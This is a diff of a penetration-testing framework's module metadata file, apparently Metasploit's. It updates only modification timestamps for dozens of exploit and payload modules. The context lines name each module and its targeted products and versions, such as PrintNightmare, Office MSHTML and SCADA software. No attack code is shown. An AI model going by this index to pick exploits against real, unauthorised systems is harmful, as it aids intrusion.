     "path": "/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/misc/ibm_tm1_unauth_rce",
@@ -130309,7 +130309,7 @@
       "Linux",
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb",
     "is_install_path": true,
     "ref_name": "multi/sap/sap_mgmt_con_osexec_payload",
@@ -131354,7 +131354,7 @@
       "Safari 5.1 on OS X",
       "Safari 5.1 on OS X with Java"
     ],
-    "mod_time": "2026-02-26 17:17:19 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/osx/browser/safari_file_policy.rb",
     "is_install_path": true,
     "ref_name": "osx/browser/safari_file_policy",
@@ -135711,7 +135711,7 @@
     "targets": [
       "Automatic Target"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/unix/http/pihole_blocklist_exec.rb",
     "is_install_path": true,
     "ref_name": "unix/http/pihole_blocklist_exec",
@@ -136347,7 +136347,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/unix/http/xdebug_unauth_exec.rb",
     "is_install_path": true,
     "ref_name": "unix/http/xdebug_unauth_exec",
@@ -136699,7 +136699,7 @@
     "targets": [
       "OpenSMTPD < 6.6.4 (automatic grammar selection)"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb",
     "is_install_path": true,
     "ref_name": "unix/local/opensmtpd_oob_read_lpe",
@@ -139617,7 +139617,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb",
     "is_install_path": true,
     "ref_name": "unix/webapp/google_proxystylesheet_exec",
@@ -147213,7 +147213,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/antivirus/ams_xfr.rb",
     "is_install_path": true,
     "ref_name": "windows/antivirus/ams_xfr",
@@ -149328,7 +149328,7 @@
       "IE 6 on Windows XP SP3",
       "IE 7 on Windows XP SP3 / Vista"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/adobe_flash_sps.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/adobe_flash_sps",
@@ -149474,7 +149474,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/adobe_flashplayer_arrayindexing",
@@ -150248,7 +150248,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/aol_icq_downloadagent.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/aol_icq_downloadagent",
@@ -150390,7 +150390,7 @@
       "Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2",
       "Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/apple_quicktime_mime_type.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/apple_quicktime_mime_type",
@@ -150491,7 +150491,7 @@
       "Apple QuickTime Player 7.1.3",
       "Browser Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/apple_quicktime_rtsp.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/apple_quicktime_rtsp",
@@ -150539,7 +150539,7 @@
     "targets": [
       "Apple QuickTime Player 7.6.6"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/apple_quicktime_smil_debug",
@@ -150589,7 +150589,7 @@
       "Firefox 3.5 on Windows XP SP3",
       "Firefox 3.5.1 on Windows XP SP3"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/apple_quicktime_texml_font_table",
@@ -150909,7 +150909,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/awingsoft_winds3d_sceneurl",
@@ -151050,7 +151050,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/blackice_downloadimagefileurl",
@@ -151096,7 +151096,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/c6_messenger_downloaderactivex",
@@ -151428,7 +151428,7 @@
     "targets": [
       "Cisco WebEx Extension 1.0.1"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/cisco_webex_ext.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/cisco_webex_ext",
@@ -151766,7 +151766,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/dxstudio_player_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/dxstudio_player_exec",
@@ -151900,7 +151900,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/enjoysapgui_comp_download.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/enjoysapgui_comp_download",
@@ -152134,7 +152134,7 @@
       "Automatic",
       "Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/foxit_reader_plugin_url_bof",
@@ -152323,7 +152323,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/honeywell_hscremotedeploy_exec",
@@ -153879,7 +153879,7 @@
       "Automatic",
       "Java Runtime on Windows x86"
     ],
-    "mod_time": "2026-03-02 11:11:59 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/java_ws_arginject_altjvm",
@@ -153927,7 +153927,7 @@
       "Automatic",
       "Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/java_ws_double_quote.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/java_ws_double_quote",
@@ -153975,7 +153975,7 @@
       "Automatic",
       "Java Runtime on Windows x86"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/java_ws_vmargs.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/java_ws_vmargs",
@@ -154115,7 +154115,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/keyhelp_launchtripane_exec",
@@ -154296,7 +154296,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/macrovision_unsafe.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/macrovision_unsafe",
@@ -155425,7 +155425,7 @@
       "Firefox on Windows XP (English)",
       "Firefox on Windows 2003 (English)"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ms07_017_ani_loadimage_chunksize",
@@ -155471,7 +155471,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ms08_041_snapshotviewer",
@@ -156057,7 +156057,7 @@
       "Automatic",
       "Internet Explorer on Windows"
     ],
-    "mod_time": "2026-03-02 11:11:59 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ms10_022_ie_vbscript_winhlp32",
@@ -156154,7 +156154,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ms10_042_helpctr_xss_cmd_exec",
@@ -156201,7 +156201,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-03-02 11:11:59 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ms10_046_shortcut_icon_dllloader",
@@ -157213,7 +157213,7 @@
       "Automatic",
       "Windows 10 with IE 11"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ms16_051_vbscript.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ms16_051_vbscript",
@@ -157260,7 +157260,7 @@
     "targets": [
       "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/msvidctl_mpeg2.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/msvidctl_mpeg2",
@@ -157552,7 +157552,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/notes_handler_cmdinject.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/notes_handler_cmdinject",
@@ -158365,7 +158365,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/persits_xupload_traversal.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/persits_xupload_traversal",
@@ -158466,7 +158466,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/real_arcade_installerdlg.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/real_arcade_installerdlg",
@@ -158793,7 +158793,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/safari_xslt_output.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/safari_xslt_output",
@@ -158886,7 +158886,7 @@
     "targets": [
       "Samsung Security Manager 1.32 & 1.4 Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/samsung_security_manager_put.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/samsung_security_manager_put",
@@ -159119,7 +159119,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/symantec_altirisdeployment_downloadandinstall",
@@ -159208,7 +159208,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/symantec_appstream_unsafe.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/symantec_appstream_unsafe",
@@ -159397,7 +159397,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/systemrequirementslab_unsafe",
@@ -159685,7 +159685,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/ubisoft_uplay_cmd_exec",
@@ -160022,7 +160022,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/webdav_dll_hijacker.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/webdav_dll_hijacker",
@@ -160587,7 +160587,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/zenturiprogramchecker_unsafe",
@@ -160635,7 +160635,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/browser/zenworks_helplauncher_exec",
@@ -160699,7 +160699,7 @@
     "targets": [
       "Windows"
     ],
-    "mod_time": "2026-02-18 17:08:51 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb",
     "is_install_path": true,
     "ref_name": "windows/dcerpc/cve_2021_1675_printnightmare",
@@ -161036,7 +161036,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb",
     "is_install_path": true,
     "ref_name": "windows/email/ms10_045_outlook_ref_only",
@@ -161093,7 +161093,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb",
     "is_install_path": true,
     "ref_name": "windows/email/ms10_045_outlook_ref_resolve",
@@ -165938,7 +165938,7 @@
     "targets": [
       "Internet Explorer"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/mcafee_showreport_exec",
@@ -166809,7 +166809,7 @@
     "targets": [
       "Microsoft Office Word 2007/2010 on Windows 7"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/ms12_005.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/ms12_005",
@@ -167475,7 +167475,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/nitro_reader_jsapi",
@@ -167794,7 +167794,7 @@
     "targets": [
       "Microsoft Office Word"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/office_word_hta.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/office_word_hta",
@@ -168731,7 +168731,7 @@
     "targets": [
       "Windows"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/theme_dll_hijack_cve_2023_38146",
@@ -170231,7 +170231,7 @@
     "targets": [
       "Microsoft Office Word"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/word_msdtjs_rce.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/word_msdtjs_rce",
@@ -170286,7 +170286,7 @@
     "targets": [
       "Hosted"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/fileformat/word_mshtml_rce.rb",
     "is_install_path": true,
     "ref_name": "windows/fileformat/word_mshtml_rce",
@@ -170931,7 +170931,7 @@
     "targets": [
       "Windows XP Pro SP3 English"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/ayukov_nftp.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/ayukov_nftp",
@@ -171561,7 +171561,7 @@
     "targets": [
       "FreeFloat"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/freefloatftp_wbem.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/freefloatftp_wbem",
@@ -171850,7 +171850,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/ftpshell_cli_bof.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/ftpshell_cli_bof",
@@ -172192,7 +172192,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/labf_nfsaxe.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/labf_nfsaxe",
@@ -172493,7 +172493,7 @@
     "targets": [
       "Open&Compact FTP 1.2 on Windows (Before Vista)"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/open_ftpd_wbem.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/open_ftpd_wbem",
@@ -172799,7 +172799,7 @@
     "targets": [
       "QuickShare File Server 1.2.1"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/quickshare_traversal_write.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/quickshare_traversal_write",
@@ -173060,7 +173060,7 @@
     "targets": [
       "Windows XP SP3 / Windows Vista"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/ftp/scriptftp_list.rb",
     "is_install_path": true,
     "ref_name": "windows/ftp/scriptftp_list",
@@ -175323,7 +175323,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb",
     "is_install_path": true,
     "ref_name": "windows/http/ca_totaldefense_regeneratereports",
@@ -175442,7 +175442,7 @@
     "targets": [
       "Cogent DataHub < 7.3.5"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/cogent_datahub_command.rb",
     "is_install_path": true,
     "ref_name": "windows/http/cogent_datahub_command",
@@ -181629,7 +181629,7 @@
     "targets": [
       "Windows Command"
     ],
-    "mod_time": "2026-02-26 17:27:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb",
     "is_install_path": true,
     "ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219",
@@ -182858,7 +182858,7 @@
     "targets": [
       "Automatic Target"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb",
     "is_install_path": true,
     "ref_name": "windows/http/northstar_c2_xss_to_agent_rce",
@@ -183636,7 +183636,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/osb_uname_jlist.rb",
     "is_install_path": true,
     "ref_name": "windows/http/osb_uname_jlist",
@@ -184574,7 +184574,7 @@
     "targets": [
       "SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/sap_host_control_cmd_exec.rb",
     "is_install_path": true,
     "ref_name": "windows/http/sap_host_control_cmd_exec",
@@ -185851,7 +185851,7 @@
     "targets": [
       "Windows Universal"
     ],
-    "mod_time": "2026-03-02 11:11:59 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb",
     "is_install_path": true,
     "ref_name": "windows/http/solarwinds_storage_manager_sql",
@@ -187767,7 +187767,7 @@
       "Windows (Dropper)",
       "Windows (Command)"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/iis/ms01_026_dbldecode.rb",
     "is_install_path": true,
     "ref_name": "windows/iis/ms01_026_dbldecode",
@@ -188053,7 +188053,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/iis/msadc.rb",
     "is_install_path": true,
     "ref_name": "windows/iis/msadc",
@@ -195732,7 +195732,7 @@
     "targets": [
       "Windows 2003 (with tftp client available)"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/altiris_ds_sqli",
@@ -197791,7 +197791,7 @@
     "targets": [
       "HP Data Protector 6.10/6.11/6.20 / Windows"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/hp_dataprotector_install_service.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/hp_dataprotector_install_service",
@@ -198820,7 +198820,7 @@
     "targets": [
       "IBM System Director Agent 5.20.3 / Windows with WebClient enabled"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/ibm_director_cim_dllinject",
@@ -199339,7 +199339,7 @@
       "Windows XP SP3 ENG",
       "Windows XP SP2 ENG"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/mini_stream.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/mini_stream",
@@ -199711,7 +199711,7 @@
     "targets": [
       "Windows x64"
     ],
-    "mod_time": "2026-02-26 17:27:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/nvidia_mental_ray.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/nvidia_mental_ray",
@@ -200748,7 +200748,7 @@
       "Windows x64",
       "Windows x86"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/vmhgfs_webdav_dll_sideload",
@@ -200790,7 +200790,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/misc/webdav_delivery.rb",
     "is_install_path": true,
     "ref_name": "windows/misc/webdav_delivery",
@@ -201560,7 +201560,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/mssql/mssql_payload.rb",
     "is_install_path": true,
     "ref_name": "windows/mssql/mssql_payload",
@@ -202141,7 +202141,7 @@
     "targets": [
       "Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1"
     ],
-    "mod_time": "2026-02-26 17:17:19 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/novell/netiq_pum_eval.rb",
     "is_install_path": true,
     "ref_name": "windows/novell/netiq_pum_eval",
@@ -204719,7 +204719,7 @@
     "targets": [
       "GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb",
     "is_install_path": true,
     "ref_name": "windows/scada/ge_proficy_cimplicity_gefebt",
@@ -205605,7 +205605,7 @@
     "targets": [
       "Rockwell Automation FactoryTalk SE"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb",
     "is_install_path": true,
     "ref_name": "windows/scada/rockwell_factorytalk_rce",
@@ -205655,7 +205655,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/windows/scada/scadapro_cmdexe.rb",
     "is_install_path": true,
     "ref_name": "windows/scada/scadapro_cmdexe",
@@ -252683,7 +252683,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-02-20 18:46:18 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/payloads/stagers/java/bind_tcp.rb",
     "is_install_path": true,
     "ref_name": "java/meterpreter/bind_tcp",
@@ -252790,7 +252790,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2026-02-20 18:46:18 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
